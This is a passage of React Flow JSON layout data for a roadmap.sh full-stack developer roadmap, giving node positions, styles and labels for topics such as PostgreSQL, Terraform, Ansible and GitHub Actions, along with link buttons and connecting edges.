\"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"QfW-odmDYknm_qXNcDu5o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 342,\n      \"height\": 139,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 342\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 58.49718479195076,\n        \"y\": 923.8143775154215\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 342,\n        \"height\": 139\n      }\n    },\n    {\n      \"id\": \"y1SFX7uvWaCy4OYBnECLu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 290.52193036862445,\n        \"y\": 1266.5238331844262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 290.52193036862445,\n        \"y\": 1266.5238331844262\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HGhnbMg6jh6cAmUH4DtOx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 262.02193036862445,\n        \"y\": 716.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 262.02193036862445,\n        \"y\": 716.9045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J2_IWAb1s9zZcxOY3NXm2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 16.00948964805815,\n        \"y\": 1200.7210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Deployment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"sO_9-l4FECbaqiaFnyeXO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 16.00948964805815,\n        \"y\": 1200.7210153640276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"863KMXcFJzInvTp_-Ldmz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 103.00948964805815,\n        \"y\": 1392.5238331844262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 103.00948964805815,\n        \"y\": 1392.5238331844262\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zh4DYU0QpAolXJ6wE0CEe\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 253.00948964805815,\n        \"y\": 1340.2210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"BfadoWcewEUb5PQ_itqK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 253.00948964805815,\n        \"y\": 1340.2210153640276\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"NQmEl27eBPYhivcXdOEz3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 16.00948964805815,\n        \"y\": 1325.7210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"sO_9-l4FECbaqiaFnyeXO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 16.00948964805815,\n        \"y\": 1325.7210153640276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rFXupYpUFfp7vZO8zh614\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -327.56446376179997,\n        \"y\": 1392.5238331844262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ansible\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -327.56446376179997,\n        \"y\": 1392.5238331844262\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WJIx6JGqxoNT-vKk4LMQp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -128.06446376179997,\n        \"y\": 1366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"gJhoy4tQwP4Gtwh0wL343\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -128.06446376179997,\n        \"y\": 1366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"liaY1GnlOateB_ZKBjNpY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -226.56446376179997,\n        \"y\": 1325.7210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"sO_9-l4FECbaqiaFnyeXO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -226.56446376179997,\n        \"y\": 1325.7210153640276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2kKHuQZScu7hCDgQWxl5u\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -560.0823082314752,\n        \"y\": 1468.728630371825\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Terraform\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"khoUtTUxdf8udAzN9_CAb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.0823082314752,\n        \"y\": 1468.728630371825\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gJhoy4tQwP4Gtwh0wL343\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -473.2578102157039,\n        \"y\": 1365.182006288024\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -473.2578102157039,\n        \"y\": 1365.182006288024\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"sO_9-l4FECbaqiaFnyeXO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -571.7578102157039,\n        \"y\": 1324.9030216520516\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Automation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"YVMyHFSCVF-GgXydq-SFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -571.7578102157039,\n        \"y\": 1324.9030216520516\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b7EdI-25v_eVMkqTBa0se\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -498,\n        \"y\": 1552.5384432996068\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -498,\n        \"y\": 1552.5384432996068\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"YVMyHFSCVF-GgXydq-SFJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -415.56446376179997,\n        \"y\": 1538.0384432996068\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Infrastructure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"7JU1cVggMDoZUV-adGsf-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -415.56446376179997,\n        \"y\": 1538.0384432996068\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"DezWXw5LWeP1S5Sosj90S\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -128.86972326342038,\n        \"y\": 1802.4845433334572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -128.86972326342038,\n        \"y\": 1802.4845433334572\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"DsvdvpHWD0FgTjdkSJ9Uu\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -21.869723263420383,\n        \"y\": 1802.4845433334572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -21.869723263420383,\n        \"y\": 1802.4845433334572\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 85.13027673657962,\n        \"y\": 1802.4845433334572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"href\": \"https://roadmap.sh/aws\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.13027673657962,\n        \"y\": 1802.4845433334572\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2bi7EWaC5QIWX6_Vl6988\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 72.1182771963982,\n        \"y\": -101.66069241448308\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#fcff00\",\n          \"color\": \"#ffffff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 3\n        },\n        \"oldId\": \"kvS4x6z7YWJjMpkpU01yh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 26,\n      \"height\": 25,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 26,\n        \"height\": 25\n      },\n      \"positionAbsolute\": {\n        \"x\": 72.1182771963982,\n        \"y\": -101.66069241448308\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 26,\n        \"height\": 25\n      }\n    },\n    {\n      \"id\": \"aaWX__NQvUofoN1VzwgD0\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 102.99749010787673,\n        \"y\": -107.16069241448308\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key topics to learn\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"7HLG5FTMmOWGS-mOpqnQh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 102.99749010787673,\n        \"y\": -107.16069241448308\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"kvS4x6z7YWJjMpkpU01yh\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 72.1182771963982,\n        \"y\": -68.28925019287855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#000000\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 3\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 26,\n      \"height\": 25,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 26,\n        \"height\": 25\n      },\n      \"positionAbsolute\": {\n        \"x\": 72.1182771963982,\n        \"y\": -68.28925019287855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 26,\n        \"height\": 25\n      }\n    },\n    {\n      \"id\": \"7HLG5FTMmOWGS-mOpqnQh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 102.99749010787673,\n        \"y\": -71.16069241448308\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Project ideas and suggestions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 102.99749010787673,\n        \"y\": -71.16069241448308\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9mrs26igEG0D9GpMv2NZc\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -317.516084034493,\n        \"y\": -278.10767016925365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 346,\n      \"height\": 259,\n      \"style\": {\n        \"width\": 346,\n        \"height\": 259\n      },\n      \"positionAbsolute\": {\n        \"x\": -317.516084034493,\n        \"y\": -278.10767016925365\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 346,\n        \"height\": 259\n      }\n    },\n    {\n      \"id\": \"X8Gvqj2h4wkfA1Cx2d1iW\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -297.06446376179997,\n        \"y\": -251.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"If you are already a full-stack developer you should visit the following tracks.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"7cbUuhyNE2SoZbm2Zh_t7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 55,\n      \"positionAbsolute\": {\n        \"x\": -297.06446376179997,\n        \"y\": -251.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 311\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"7cbUuhyNE2SoZbm2Zh_t7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -297.06446376179997,\n        \"y\": -122.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Target audience for this roadmap is absolute beginners wanting to get into full-stack development.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 80,\n      \"positionAbsolute\": {\n        \"x\": -297.06446376179997,\n        \"y\": -122.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 311\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": \"p1nlhjqz_BiKFFop2yHpJ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -293.3007174828185,\n        \"y\": -187.42126760749414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"x1j-a82XiCX3bNIgLFryZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -293.3007174828185,\n        \"y\": -187.42126760749414\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bt_V8XXqg8XDAJCzHrbWt\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -192.09195631976291,\n        \"y\": -187.42126760749414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"x1j-a82XiCX3bNIgLFryZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -192.09195631976291,\n        \"y\": -187.42126760749414\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x1j-a82XiCX3bNIgLFryZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -89.5180029099048,\n        \"y\": -187.42126760749414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -89.5180029099048,\n        \"y\": -187.42126760749414\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 89,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"B0kARTODvCBi0iOF8iiqI\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-mGgx_QTEPmVKf6AijX9fiy2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"B0kARTODvCBi0iOF8iiqI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dAJHWmGeiYdzZ1ZjrWz1S\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-B0kARTODvCBi0iOF8iiqIz2-mGgx_QTEPmVKf6AijX9fiy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T9PB6WQf-Fa9NXKKvVOy_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mGgx_QTEPmVKf6AijX9fi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-khoUtTUxdf8udAzN9_CAbz2-mGgx_QTEPmVKf6AijX9fiw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAJHWmGeiYdzZ1ZjrWz1S\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"T9PB6WQf-Fa9NXKKvVOy_\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-dAJHWmGeiYdzZ1ZjrWz1Sz2-khoUtTUxdf8udAzN9_CAby2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mGgx_QTEPmVKf6AijX9fi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"We2APJpOPTr-VNfowG0kI\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mGgx_QTEPmVKf6AijX9fix2-We2APJpOPTr-VNfowG0kIz2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"We2APJpOPTr-VNfowG0kI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8sPXL8iClpPqje03ksses\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-We2APJpOPTr-VNfowG0kIy2-khoUtTUxdf8udAzN9_CAbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8sPXL8iClpPqje03ksses\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CVCqdPkq_hGQfI8EEi5RC\",\n 